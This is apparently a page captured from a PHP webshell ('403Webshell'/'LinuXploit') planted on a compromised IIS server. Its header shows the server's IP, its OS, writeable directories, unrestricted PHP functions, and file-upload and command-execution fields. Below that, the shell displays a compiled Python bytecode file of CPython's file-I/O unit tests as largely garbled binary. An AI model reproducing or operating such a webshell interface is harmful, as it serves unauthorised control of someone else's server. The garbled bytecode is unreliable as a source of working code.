403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.175
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_io/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_io/__pycache__/test_fileio.cpython-315.pyc
R
>lqj�jc���]PHs]PHs]PHs]PHs]PHs]QHGs]QHGs]QH G	s	]QH(GsGsG
s
GsGsGs]QHDGsGsGsGs]QHXGs]QH`Gs]QHhGs]PHps]PHtsQ	,sQ
Q2sQQ
\\O@2s!QQ\\O@2s"QQ2s#QQ\#\O@2s$QQ\#\O@2s%Qs&\'Q6Xc\OP2P!P!)�)�array)�proxy��wraps)�cpython_only�	swap_attr�
gc_collect�is_wasi�infinite_recursion�
strace_helper)�TESTFN�TESTFN_ASCII�TESTFN_UNICODE�make_bad_fd)�check_warnings)�
import_module)�UserListz--trace=%file,%descc�>`�\sQs]snQsQsQsQsQs\	O\Q2Q2sQs
Q	sQ
sQsQsQ
sQsQsQsQsQs\]2Q2sQsQsQs\	O\O<Q6HQ2Q2sQs Qs!\!Q2s"\!Q2s#\!Q2s$\!Q2s%\!Q 2s&\ Q!2s'\ Q"2s(\ Q#2s)\ Q$2s*\ Q%2s+Q&s,\!Q'2s-\!Q(2s.\!Q)2s/\0Ob2Q*2s2Q+s3Us4P!),�
AutoFileTestsc�>�UO[Q2UmP!��w)�FileIOr�f��selfs&�-C:\Python315\\Lib\test\test_io\test_fileio.py�setUp�AutoFileTests.setUp!s�����V�S�)���c��UO%cUOO2[O[2P!�N)r�close�os�removerrs&r�tearDown�AutoFileTests.tearDown$s$���6�6�6��F�F�L�L�N�
�	�	�&�rc�v�[UO2oUO[[	]
222UOUOO
2UO
22UOO2PUm[2UO[[UQ2P!)�
�tell)rr�write�bytes�range�assertEqualr)r"r�assertRaises�ReferenceError�getattr)r�ps& r�testWeakRefs�AutoFileTests.testWeakRefs)sq���$�&�&�M��	����e�B�i� �!��������������1���������������.�'�1�f�=rc�n�UOO[[]222UO	UOO2]2UOO
]2UO	UOO2]2UOO
]
2UO	UOO2]
2UOO
]]2UO	UOO2]2UOO
Q]2UO	UOO2]
2UOO
Q]2UO	UOO2]2P!)����)rr*r+r,r-r)�seekrs&r�testSeekTell�AutoFileTests.testSeekTell3s�������U�5��9�%�&�����������+������A������������*������B������������+������A�q������������+������B�������������+������B�������������+rc	���UOoUOUOQ2UOUOP
2QFD%oUO	[
[1[VQ2J'	P!)�wb�oops)�mode�closed)rr-r=r>r.�AttributeError�	TypeError�setattr)rr�attrs&  r�testAttributes�AutoFileTests.testAttributesAs[���F�F���������&�������5�)�%�D����~�y�9�%�q��
8�%rz WASI does not expose st_blksize.c��[Oo[[Q2%c<[OUO
O
22o[UQU2oUOUO
OU2P!)�fstat�
st_blksize)
�io�DEFAULT_BUFFER_SIZE�hasattrr#rFr�filenor0r-�_blksize)r�blksize�fsts&  r�testBlksize�AutoFileTests.testBlksizeMsZ���(�(���2�w����(�(�4�6�6�=�=�?�+�C��c�<��9�G���������'�2rc�|�UOO[,QN22UOO2[	Q2oUO[Q29^tt^2oUOU2oPPP2UOUQ2UOW]2P!)%fhK69h)��abcdefgh�r��efgh�rR�r�)	rr*r+r"�	bytearrayrr�readintor-)r�bar�ns&   r�testReadintoByteArray�#AutoFileTests.testReadintoByteArrayXs}�������U�>�*�+�������
�{�
#��
�[�[���
%�
%���
�
�2��A�&�����4�5�����A��&�
%�s�+B+�+B;	�4B;	c���UOO[,QN22UOO2[	[Q22oUO
[Q29^tt^2oUOU2oPPP2UOUQ2UOW]2[	[Q22OQ]],Q5oUO
[Q29^tt^2oUOU2oPPP2UO[U2Q2UOU]2P!)%fhK�9h)%fhKR9h)rRrSrTrU�H)�shaperV)rr*r+r"�
memoryviewrYrrrZr-�cast)r�mrr\s&   r�_testReadintoMemoryview�%AutoFileTests._testReadintoMemoryviewbs��������U�>�*�+��������y��-�.��
�[�[���
%�
%���
�
�1�
�A�&�����3�4�����A���y��-�.�3�3�C��1�v�3�F��
�[�[���
%�
%���
�
�1�
�A�&�����q��#:�;�����A��&�
%��&�
%�s$�4E�7E�E	�	E	�E#	�E#	c��UOO[,QN22UOO2[	QQ2oUO[Q29^tt^2oUOU2oPPP2UOU[	Q,QN22UOW]2[	QQ2oUO[Q29^tt^2oUOU2oPPP2UOU[	Q,Q	N22UOU]2[	QQ2oUO[Q29^tt^2oUOU2oPPP2UOU[	QQ22UOU]2P!)%fhCK)9h)%fhK�9h)%fhKg9h)
rR�BrSrT�b�IrUrV)rRrWrrX�e�f�g�h)rRrWr���rkrlrmrn)	rr*r+r"rrrrZr-)r�arr\s&   r�_testReadintoArray� AutoFileTests._testReadintoArrayrsM�������U�>�*�+��������#�{�#��
�[�[���
%�
%���
�
�1�
�A�&�����E�#�'I�J�K�����A���#�{�#��
�[�[���
%�
%���
�
�1�
�A�&�����E�#�'H�I�J�����A���#�{�#��
�[�[���
%�
%���
�
�1�
�A�&�����E�#�'>�?�@�����A��&�
%�
%��&�
%��&�
%�s6�,F� F2�G�F/	�'F/	�2G	�;G	�G	�G	c��QQ,oUOOU2UOO2UO[Q2UmUOO2oUO
UQ2P!�s123s456�rbs123456)r�
writelinesr"rr�readr-�r�l�bufs&  r�testWritelinesList� AutoFileTests.testWritelinesList�s\��
�V��������!�����������V�T�*����f�f�k�k�m������i�(rc��[QQ,2oUOOU2UOO2UO	[
Q2UmUOO
2oUOUQ2P!rt)rrrvr"rrrwr-rxs&  r�testWritelinesUserList�$AutoFileTests.testWritelinesUserList�sa���f�f�%�&�������!�����������V�T�*����f�f�k�k�m������i�(rc��UO[UOO,QN2UO[UOOP2UO[UOOQ2P!)rR�abc)rRrW�)r.r@rrvrs&r�testWritelinesError�!AutoFileTests.testWritelinesError�sV�����)�T�V�V�%6�%6�	�B����)�T�V�V�%6�%6��=����)�T�V�V�%6�%6��>rc���UOOQ2UOO2UO[Q2UmUOUOO
P2Q2UOO]2UOUOOP2Q2UOUOOP2QQ,2P!)s
hi
bye
abcrTshi
sbye
�abc)
rr*r"rrr-rwr7�readline�	readlinesrs&r�test_none_args�AutoFileTests.test_none_args�s��������_�%����������V�S�)�����������T�*�O�<������A�����������.��8�������)�)�$�/�(�F�1C�Drc�^�UO[UOOQ2P!)zHello!)r.r@rr*rs&r�test_reject�AutoFileTests.test_reject�s�����)�T�V�V�\�\�8�<rc
�T�UO[UO2QUO8QUOO8QUOO
8Q02UO;UO[UO2QUO8QUOO
28QUOO
8Q02UOO2UO[UO2QUO8Q02P!)�<�
.FileIO name=� mode=z closefd=True>z.FileIO fd=z.FileIO [closed]>)r-�reprr�
modulename�namer=rKr"rs&r�testRepr�AutoFileTests.testRepr�s�������d�f�f���/�/�4�6�6�;�;������E�	F�
�F�F�K�����d�f�f���/�/�4�6�6�=�=�?�D�F�F�K�K�I�	J�	
����������d�f�f��37�?�?�D�	Frc�*�QQUO2oU[2oU9^tt^2UOUO[	U22PPP2UOUO[	U22P!)%fhK79h)c��\sQs]�sQsP!)�6AutoFileTests.test_subclass_repr.<locals>.TestSubclass���__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r�rr�TestSubclassr��s��rr�)rr�assertInr�r�)rr�rs&  r�test_subclass_repr� AutoFileTests.test_subclass_repr�sb��	�4�;�;�	�
�� ��
�Q��M�M�,�/�/��a��9��	
�
�
�l�+�+�T�!�W�5��Q�s�&B�B	�B	c��[O[[O2oUO	UQP
Q59^tt^2oUO[
U2QUO8QUO8QUO8Q02PPP2[OU2P!)%fhK(9h[OS2h9h)rT��closefdr�r�r�z closefd=False>)r#�openr�O_RDONLYrr-r�r�r�r=r")r�fdrs&  r�testReprNoCloseFD�AutoFileTests.testReprNoCloseFD�s���
�W�W�V�R�[�[�
)��	����R��e��4�4��� � ��a��"&�/�/�1�6�6�1�6�6�"C�D�5�

�H�H�R�L�5�4��

�H�H�R�L�s*�C�AB/�C�/B?	�8B?	�:C�Cc	�0�[UOQUO29^tt^2UO[29^tt^2[	UO2PPP2PPP2P!)%fhK9h)%fhP!9h�r�)rrr.�RuntimeErrorr�rs&r�testRecursiveRepr�AutoFileTests.testRecursiveRepr�sW���t�v�v�v�t�v�v�
.�
.��"�"�<�0�0��T�V�V��1�/�
.�0�0��/�
.�
.�s/�B�	A1	�B�1B
�:B
�<B�B	�
B	c�&�UOoUOUO22UOUO2UO	[
UO]
2UO2UOUO2UO[Q2oUO	[UOP2UOUO2UO2UOUO2P!)r(rT)
r�assertFalse�isattyr>r.�
ValueErrorrwr"�
assertTruerrr@rZ�rrs& r�
testErrors�AutoFileTests.testErrors�s����F�F���������$�������"����*�a�f�f�b�1�	���	�������!��K�K���$�����)�Q�Z�Z��4�������"�	���	�������!rc��,QNoUOO2UOUOO2SFD/o[	UOU2oUO[U2J1	UO[UOO2UO[UOO[]22UO[UOO2UO[UOO]2UO[UOO2UO[UOOQ2UO[UOO2UO[UOOQ2P!)rKr)rKr��seekable�readable�writablerw�readallr�r�r)�truncate�flush)
rr"r�r>r0r.r�r@rZrYr7r*rv)r�methods�
methodname�methods&   r�testMethods�AutoFileTests.testMethods�s(��0��	
������������
�
�&�!�J��T�V�V�Z�0�F����j�&�1�"�
	
���)�T�V�V�_�_�5����*�d�f�f�o�o�y��|�D����)�T�V�V�[�[�1����*�d�f�f�k�k�1�5����)�T�V�V�\�\�2����*�d�f�f�l�l�C�8����)�T�V�V�%6�%6�7����*�d�f�f�&7�&7��=rc���UOQQ2UOQ2P![cDoSOSO]2SOSOQ2Po=P!Po=hh9h)�.rT�Should have raised OSError)r�fail�OSError�assertNotEqual�errnor-�filename)r�es& r�testOpendir�AutoFileTests.testOpendir�sa��	4��K�K��S�!�

�I�I�2�3��	�	.��������+����Q�Z�Z��-�-��	.�s�(�	A6�A6�8A1�1A6�ntz&test only works on a POSIX-like systemc�|�[OQ[O2oUO[29^tt^2oUOUQ2PPP2[OU2UOWOO[O2P!)%fhK\9h)r�rT)r#r�r�r.r�rr"r-�	exceptionr��EISDIR)rr��cms&  r�
testOpenDirFD�AutoFileTests.testOpenDirFDsn��
�W�W�S�"�+�+�
&��
�
�
�w�
'�
'�2��K�K��C� �(�
�����������+�+�U�\�\�:�(�
'�s�B+�+B;	�4B;	c�2`�[R2U1Qk2oU!)c�8:�UOo[OUO22RV2UOO2P![cP!h9hSOO2h[chh9h9hr!)rr#r"rKr�)rr�funcs& �r�wrapper�'AutoFileTests.ClosedFD.<locals>.wrapperst������A��H�H�Q�X�X�Z� �
��T�
���F�F�L�L�N���������F�F�L�L�N������sL�A+�A�	A(�#A(�'A(�+B�-B�B�	B�B�B�B�Br�r�r�sf r�ClosedFD�AutoFileTests.ClosedFD
s ���	�t��
	�
�
	��rc�2`�[R2U1Qk2oU!)c��:�UOo[OUO22RV2UO	Q2UOO2P![
c5oSO
SO[O2Po=KWPo=hh9h[
cP!h9hSOO2h[
chh9h9h)r�)	rr#r"rKr�r�r-r��EBADF)rrr�r�s&  �rr��-AutoFileTests.ClosedFDRaises.<locals>.wrappers�������A��H�H�Q�X�X�Z� �

��T�
��	�	�6�7���F�F�L�L�N��
�
7�� � ����%�+�+�6�6��
7���������F�F�L�L�N������sv�A*�B>�B,�*	B)�4B)�5*B$�B>�$B)�)B>�,	B;�6B;�:B;�>C,�C�C,�	C)�%C)�&C,�(C)�)C,rr�sf r�ClosedFDRaises�AutoFileTests.ClosedFDRaisess ���	�t��	�
�	��rc�(�UO2P!r!)r"r�s&&r�testErrnoOnClose�AutoFileTests.testErrnoOnClose,s��	���	rc�*�UOQ2P!)�a)r*r�s&&r�testErrnoOnClosedWrite�$AutoFileTests.testErrnoOnClosedWrite0s
��	����
rc�*�UO]2P!�r)r7r�s&&r�testErrnoOnClosedSeek�#AutoFileTests.testErrnoOnClosedSeek4s
��	���q�	rc�(�UO2P!r!)r)r�s&&r�testErrnoOnClosedTell�#AutoFileTests.testErrnoOnClosedTell8s��	���rc�*�UO]2P!r�)r�r�s&&r�testErrnoOnClosedTruncate�'AutoFileTests.testErrnoOnClosedTruncate<s
��	�
�
�1�
rc�(�UO2P!r!)r�r�s&&r�testErrnoOnClosedSeekable�'AutoFileTests.testErrnoOnClosedSeekable@���	�
�
�rc�(�UO2P!r!)r�r�s&&r�testErrnoOnClosedReadable�'AutoFileTests.testErrnoOnClosedReadableDr�rc�(�UO2P!r!)r�r�s&&r�testErrnoOnClosedWritable�'AutoFileTests.testErrnoOnClosedWritableHr�rc�(�UO2P!r!)rKr�s&&r�testErrnoOnClosedFileno�%AutoFileTests.testErrnoOnClosedFilenoLs��	���
rc�H�UOUO2P
2P!)F)r-r�r�s&&r�testErrnoOnClosedIsatty�%AutoFileTests.testErrnoOnClosedIsattyPs���������U�+rc��UOO2UO[Q2Um[
OUOO
22UO![cKbh9h)rT)rr"r�rrr#rKrs&r�
ReopenForRead�AutoFileTests.ReopenForReadTs[��	��F�F�L�L�N����V�S�)���
���������!��v�v�
��	�	��	�s�A2�2	B�<B�?Bc�J�UO2oUO]2P!)rR)rrwr�s&&r�testErrnoOnClosedRead�#AutoFileTests.testErrnoOnClosedRead]s����� ��	���q�	rc�H�UO2oUO2P!r!)rr�r�s&&r�testErrnoOnClosedReadall�&AutoFileTests.testErrnoOnClosedReadallbs����� ��	�	�	�rc�b�UO2o[QQ2oUOU2P!)ris
xxxxxxxxxx)rrrZ)rrrps&& r�testErrnoOnClosedReadinto�'AutoFileTests.testErrnoOnClosedReadintogs'����� ���#�w���	�
�
�1�
rc��`�ROOQ2ROO2QU1QkkoUQQ[Q02UQQ[Q02UQQ[Q	0Q,Q
5UQQQ
[Q0Q,Q5UQQQ
[Q0Q5[O
Q[Q0QQ[Q5oROUOQ2]2P!)aCheck set of system calls during common I/O patterns

It's expected as bits of the I/O implementation change, this will need
to change. The goal is to catch changes that unintentionally add
additional systemcalls (ex. additional calls have been looked at in
bpo-21679 and gh-120754).
s
Hello, World!c�::`�ROUQ59^tt^2[OU[UUQ5n[OR2nRO[
R2]QR02R]*OoRQ*FD#oROUUOQU02J%	U1Qko,Q
NoU%c	V�*
oSFD(vq�ROUU	2U
QU	QU
QR0Q	5J*	PPP2P!)%fhP!9h)r�)�prelude�cleanupz,Should have had at least an open call|calls=:rRNNz,Looking for file descriptor in arguments|ev=c�l:�[RTt,tFDpUO7fJUMJ	to2!ttohr!)�len�syscall)r��ev�syscallss& �r�count_similarname�RAutoFileTests.test_syscalls_read.<locals>.check_readall.<locals>.count_similarname�s+����X�L�X�r����9K���X�L�M�M��Ls�1�1zcall=z|count=z
|syscalls=)�msg))r�rR)r"rR)�ioctlr)�statrR)�subTestr�
get_events�
_strace_flags�
filter_memory�
assertGreaterr�
returncoder��argsr-)
r��coderr�extra_checks�fd_strrr�checks�call�countrrs
&&&&&      @�r�
check_readall�7AutoFileTests.test_syscalls_read.<locals>.check_readallzs������4��(�(�(�3�3�D�-�>E�>E�G��)�6�6�x�@���"�"���M��B�8�*�M�O�"�!��/�/��#�2�,�,�B��M�M�����F�r�d�K��'�N�
�� ��*�F�#)�K�D��$�$�)�$�/��#�D�6����z�(��L�%��$*�q)�(�(�(�s�B)D	�7D	�	D	�D	z!open builtin with default optionsz
            f = open('z:')
            f.read()
            f.close()
            zopen in binary modez@', 'rb')
            f.read()
            f.close()
            zopen in text modez@', 'rt')
            f.read()
            f.close()
            )r)zpathlib read_byteszp.read_bytes()z$from pathlib import Path; p = Path("z"))rr)zpathlib read_textz
p.read_text())rz
f = open('z')zf.read()z	f.close())rr(r�strace_flagsrw)�r1N)r7rR)r7r)	rr*r"rr�get_syscallsr#r-r-)rr.�callssf  r�test_syscalls_read� AutoFileTests.test_syscalls_readms���	
�����%�&�������?	�D	�/���h�
�
�	
�	�!���h�
�
�	
�	����h�
�
�&��	
�	� ��<�V�H�B�I�%��	
�	���<�V�H�B�I�	
��*�*� ����+���&�	
��	
������V�,�a�0r)r)5r�r�r�r�rr%r2r8rC�unittest�skipIfr	rOr]rerqr{r~r�r�r�r�r�r�r
r�r�r�r�r#r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr�requires_stracer4r��__classdictcell__��
__classdict__s@rrrs�����*��
>�,�
8��_�_�W�@�A�3�B�3��� �,)�)�?�
E�=�
F�6��������"�>�,
4��_�_�R�W�W��_�&N�O�;�P�;�
��&�������������������������������������,��,��������������
�"�"�$�D1�%�D1rrc�4�\sQsQs\O
sQsQsP!)�CAutoFileTests��_ior�)r�r�r�r�r?rr�r�r�rrr=r=�s��
�Z�Z�F��Jrr=c�4�\sQsQs\O
sQsQsP!)�PyAutoFileTests��_pyior�)r�r�r�r�rCrr�r�r�rrrArA�s��
�\�\�F��JrrAc��`�\sQsQsnQsQsQsQsQs\	O\O2Q6gQ2Q	2s
Q
sQsQsQ
sQsQsQsQsQsQsQsUsP!)�OtherFileTests�c��UO[Q2oUOUO2P
2UOUO	2P	2UOUO2P	2UO
2UO[Q2oUOUO2P	2UOUO	2P
2UOUO2P	2UO
2UO[Q2oUOUO2P	2UOUO	2P	2UOUO2P	2UOUO2P
2UO
2[OQ6wc�UOQQ2oUOUO2P
2UOUO	2P	2[OQ6wc[Q[O7cF[OOQ2%f!UOUO2P
2UOUO2P	2UO
2[O[2P![cK)h9h[O[2h9h)	rrTza+�win32z/dev/ttyrp�darwin�bsd)�sunos�aix)rrr-r�r�r�r"r��sys�platform�
startswithr�r#�unlinkr�s& r�	testAbles�OtherFileTests.testAbless��'	����F�C�(�A����Q�Z�Z�\�5�1����Q�Z�Z�\�4�0����Q�Z�Z�\�4�0�
�G�G�I����F�C�(�A����Q�Z�Z�\�4�0����Q�Z�Z�\�5�1����Q�Z�Z�\�4�0�
�G�G�I����F�D�)�A����Q�Z�Z�\�4�0����Q�Z�Z�\�4�0����Q�Z�Z�\�4�0����Q�X�X�Z��/�
�G�G�I��|�|�w�&�����J��4�A��$�$�Q�Z�Z�\�5�9��$�$�Q�Z�Z�\�4�8��|�|�x�/��C�L�L�0��<�<�2�2�3C�D�D��(�(�����u�=��$�$�Q�X�X�Z��6��G�G�I��I�I�f���!���	�� 
�I�I�f��sJ�GK)�K�AK)�2K)�$K)�,AK)�	K&�"K&�#K)�%K&�&K)�)Lc��QFDBoUO[U2oUO2UOQU*2JD	P![cJVh9h)r1z%r is an invalid file mode)r1�aUzwU+�rw�rt)rrr"r�r�)rr=rs&  r�testInvalidModeStrings�%OtherFileTests.testInvalidModeStrings+sR��1�D�
?��K�K���-�����	��	�	�6��=�>�2���
��
�s�A
�
	A�A�Ac	��QFDToUO[U]*29^tt^2oUOUOU]*2PPP2JV	[O
O
[2%c[O[2P!P!)%fhJ�9h[O
O
[2%c[O[2hh9h)r))rr;)r;r;)�wb+rZ)zw+brZ)rp�ab)r[r[)�ab+r\)za+br\)rTru)ruru)�rb+r])zr+br])rrr-r=r#�path�existsrP)r�modesrs&  r�testModeStrings�OtherFileTests.testModeStrings6s���
	"�H��
�[�[���q��2�2�a��$�$�Q�V�V�U�1�X�6�3�2�H��w�w�~�~�f�%�%��	�	�&�!�&�3�2�2���w�w�~�~�f�%�%��	�	�&�!�&�s.�+B9�$B%	�B9�%B6
�.B6
�0	B9�9)C?�#C?c��UO[[2Q2oUO2[O
[2P!r)r�strrr"r#rPr�s& r�testUnicodeOpen�OtherFileTests.testUnicodeOpenEs+���K�K��F��S�)��	���	�
�	�	�&�rc���[OQ2oUOUQ2oUOQ2UO	2UO[Q29^tt^2oUO
UO2Q2PPP2[O[2P!)%fhK,9h[O[2h9h)�asciirr�ru)
r
�encoderr*r"r�r-rwr#rP�r�fnrs&  r�
testBytesOpen�OtherFileTests.testBytesOpenKs���
�
 �
 ��
)���K�K��C� ��	$�
�G�G�F�O�
�G�G�I����<��.�.�!�� � �����6�2�/�
�I�I�l�#�/�.��
�I�I�l�#�s)�?C�*!B/�C�/B?	�8B?	�:C�C�utf-8z%test only works for utf-8 filesystemsc��[OQ2oUO	WQ2oUOQ2UO
2UO[Q29^tt^2oUOUO2Q2PPP2[O[2P![c SOQ[*2K�h9h)%fhKY9h[O[2h9h)rnzcould not encode %r to utf-8rr�ru)rri�UnicodeEncodeError�skipTestrr*r"r�r-rwr#rPrjs&  r�testUtf8BytesOpen� OtherFileTests.testUtf8BytesOpenWs���	K��&�&�w�/�B�
�K�K��C� ��	&�
�G�G�F�O�
�G�G�I����>�4�0�0�A�� � �����6�2�1�
�I�I�n�%��"�	K��M�M�8�>�I�J�	K��1�0��
�I�I�n�%�s@�B0�?C0�+!C�C0�0	C�:C�C�C-	�&C-	�(C0�0Dc��QoUO[UOUQ2UO[UO[UQ2Q2P!)zfoobarrrh)r.r�rr+)r�fn_with_NULs& r�testConstructorHandlesNULChars�-OtherFileTests.testConstructorHandlesNULCharshs?�� �����*�d�k�k�;��D����*�d�k�k�5��g�3N�PS�Trc�$�UO[UOQ2UO[UO[	22[
OQ6Xc0]PHoUO[UO[	22P!P!)r(rHi����)	r.r�rr�rrMrN�msvcrt�
get_osfhandle)rrys& r�
testInvalidFd�OtherFileTests.testInvalidFdms^�����*�d�k�k�3�7����'�4�;�;��
�>��<�<�7�"�����g�v�';�';�[�]�K�#rc	��QFDmoUO[Q29^tt^2oUOUP
Q5oPPP2WO2UO	WO
[2Jo	P!)%fhKF9h)Fz!bool is used as a file descriptorr�)FT)�assertWarnsRegex�RuntimeWarningrr"r-r��__file__)rr�r�rs&   r�
testBooleanFd�OtherFileTests.testBooleanFdtsh���B��&�&�~�7�9�9�<>��K�K��E�K�2��9�
�G�G�I����R�[�[�(�3��9�9�s�A8	�8B
�B
c�l�QoUO[U2oUO2UOQU*2P![cdoSO
]*]6wcA[
S2o[S7fX7cSOQS*2Po=P!Po=P!Po=P!Po=hh9h)�qwertyzno error for invalid mode: %sz&bad error message for invalid mode: %s)rrr"r�r�r'rd)r�bad_moderr�ss&    r�testBadModeArgument�"OtherFileTests.testBadModeArgument|s�����	B����F�H�-�A�
�G�G�I��I�I�5��@�A���	L��x�x��{�a����H���Q�;�(�"3��I�I�F��J�K�K�#4� ��	L�s/�A�	B3�B3�B.�(B.�>B.�B.�.B3c	�p�UO[Q2oUO[[	[]
2222UO
UO2]
2UO]2UO
UO2]
2UO
UO][O2]2UO]2UO
UO2]2UO
UO][O2]2UO2P!r)
rrr*r+rYr,r-r)r�r7rH�SEEK_ENDr"r�s& r�testTruncate�OtherFileTests.testTruncate�s����K�K���$��	����i��b�	�*�+�,��������2�&�	�
�
�1�
��������2�&��������2�;�;�/��3�	�
�
�2���������1�%��������2�;�;�/��4�	���	rc�`�U1QkoU2[O[2P![O[2h9h)c�:�RO[Q2oUO[[	]222UO2RO[Q2oUO
]2oU[[	]226wcROQU*2UO2]6wc'ROQUO2*2UO2UO2]6wc'ROQUO2*2UO2[OO[2oU]6wcROQU*2P!P!)rzr+z(Read on file opened for update failed %rzFile pos after read wrong %dz!File pos after ftruncate wrong %dz"File size after ftruncate wrong %d)
rrr*r+r,r"rwr�r)r�r#r^�getsize)r�data�sizers   �r�	bug801631�7OtherFileTests.testTruncateOnWindows.<locals>.bug801631�s�������F�C�(�A�
�G�G�E�%��)�$�%�
�G�G�I����F�4�(�A��6�6�!�9�D��u�U�1�X��&��	�	�D�t�K�L��v�v�x�1�}��	�	�8�1�6�6�8�C�D�
�J�J�L��v�v�x�1�}��	�	�=�����H�I�
�G�G�I��7�7�?�?�6�*�D��q�y��	�	�>��E�F�r)r#rPr)rr�sf r�testTruncateOnWindows�$OtherFileTests.testTruncateOnWindows�s,���	G�.	��K��I�I�f���B�I�I�f��s	�-�A	c�
�UO[Q2oUOQ2UO2UO[Q2oUOQ2UO2UO[Q2oUO	2oUO2UOUQ2[O[2P!P!9h[O[2hh9h9h)r;sspamr[seggsrusspameggs)rrr*r"rwr-r#rP)rr�ds&  r�
testAppend�OtherFileTests.testAppend�s���	����F�D�)�A�
�G�G�G��
�G�G�I����F�D�)�A�
�G�G�G��
�G�G�I����F�D�)�A�����A�
�G�G�I����Q��,�
��	�	�&�!��
���
��	�	�&�!��
��s0�B6C�:C�C�D� C;�:D�;C?�=Dc�N�UO[UOQ]]2P!)�1)r.r@rrs&r�testInvalidInit�OtherFileTests.testInvalidInit�s�����)�T�[�[�#�q�!�<rc��[P	Q59^tt^2oUOUO,2UO[UO
,2UOUO,2UO[UO
QQ2UOUO,2PPP2P!)%fhP!9h)T��quietz/some/invalid/namerV)rr-�warningsr.r@rr�)rrs& r�testWarnings�OtherFileTests.testWarnings�s���
�$�
'�
'�1����Q�Z�Z��,����i����b�9����Q�Z�Z��,����j�$�+�+�7K�T�R����Q�Z�Z��,�(�
'�
'�
'�s�BB8�8C		�C		c�``�QQ[2nUU1QkQUO2n[O[[O
2oUO
RRU2[OU2P!)c��\sQsQsQsP!)�=OtherFileTests.testUnclosedFDOnException.<locals>.MyException��r�r�r�rr�MyExceptionr��s��drr�c�::``�\sQsQsnUUU1QksQsUsU9s!)�:OtherFileTests.testUnclosedFDOnException.<locals>.MyFileIO��c�B:�UQ6Xc	RQ2g[RU_V2!)r�zblocked setting name)�super�__setattr__)rr��valuer��MyFileIO�	__class__s&&&���rr��FOtherFileTests.testUnclosedFDOnException.<locals>.MyFileIO.__setattr__�s(����6�>�%�&<�=�=��X�t�8��E�Err�)r�r�r�r�r�r�r9�
__classcell__)r�r;r�r�s@@��rr�r��s����
F�
Frr�)�	Exceptionrr#r�r�r�r.r")rr�r�r�s& @@r�testUnclosedFDOnException�(OtherFileTests.testUnclosedFDOnException�sV���*�)�*�	F�	F�t�{�{�	F�
�W�W�X�r�{�{�
+�����+�x��4�
����rr�)r�r�r�r�rQrWrarerlr6r7rM�getfilesystemencodingrrrvr{r�r�r�r�r�r�r�r�r�r9r:s@rrErE�s�����(�T	?�
"��
$��_�_�S�.�.�0�G�;�<�>�
&�>�
&�U�
L�4�B� 
��:�$=�-�	�	rrEc�l`�\sQsQsn\O
sQs\Os\Q2s	Qs
QsUsP!)�COtherFileTests��r?c���[Q2oUO[UOUO]*2UO[UOUO
]*
2P!)�	_testcapi)rr.r@r�INT_MAX�INT_MIN)rr�s& r�testInvalidFd_overflow�&COtherFileTests.testInvalidFd_overflow�sP��"�+�.�	����)�T�[�[�)�2C�2C�a�2G�H����)�T�[�[�)�2C�2C�a�2G�Hrc�\�UO[Q29^tt^2oUO2oPPP2[O[29^tt^2oUO2oPPP2UOWW2P!)%fhK_9h)%fhK79h)ru)rr�rwr?�	open_coder-)rr�expected�actuals&   r�test_open_code�COtherFileTests.test_open_code�sh���[�[��4�
(�
(�A��v�v�x�H�)�
�]�]�8�
$�
$���V�V�X�F�%�����6�*�	)�
(��
$�
$�s#�B�B�B	�B	�B+	�$B+	r�)
r�r�r�r�r?rr�r�rr�r�r�r9r:s@rr�r��s:����
�Z�Z�F��J��8�8�D��I��I�+�+rr�c�\`�\sQsQsn\O
sQs\OsQsQs	Us
P!)�PyOtherFileTests��rCc	��UO[Q29^tt^2oUO2oPPP2[P	Q59^tt^2o[O
[29^tt^2oUO2oPPP2UO
WW2UOUO,2PPP2P!)%fhK�9h)%fhK[9h)%fhP!9h)rur�)	rr�rwrrC�_open_code_with_warningr-r�r�)rrr�rr�s&    rr��PyOtherFileTests.test_open_code�s����[�[��4�
(�
(�A��v�v�x�H�)�
�$�
'�
'�1��.�.�x�8�8�A������9����X�v�.�����
�
�B�/�(�
'�)�
(��9�8��(�
'�
'�sA�C�
#C'�0C	�6C'�C	�
C	�C$
�C$
�C'�'C8	�0C8	r�)r�r�r�r�rCrr�r�r�r�r9r:s@rr�r��s&����
�\�\�F��J��:�:�D�
0�
0rr�c��[OO[2%c[O[2P!P!r!)r#r^r_rrPr�rr�tearDownModuler�s(��
�w�w�~�~�f���
�	�	�&��r�__main__))rMr#rHr�r6r�weakrefr�	functoolsr�test.supportrrrr	r
r�test.support.os_helperrr
rr�test.support.warnings_helperr�test.support.import_helperr�collectionsrr?rCr#r�TestCaser=rArEr�r�r�r��mainr�rr�<module>r�s����	�	����������8�4� �
��%�%�
�T1�T1�p�]�H�$5�$5���m�X�%6�%6��
\�\�~+�n�h�&7�&7�+�,0�~�x�'8�'8�0�$��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit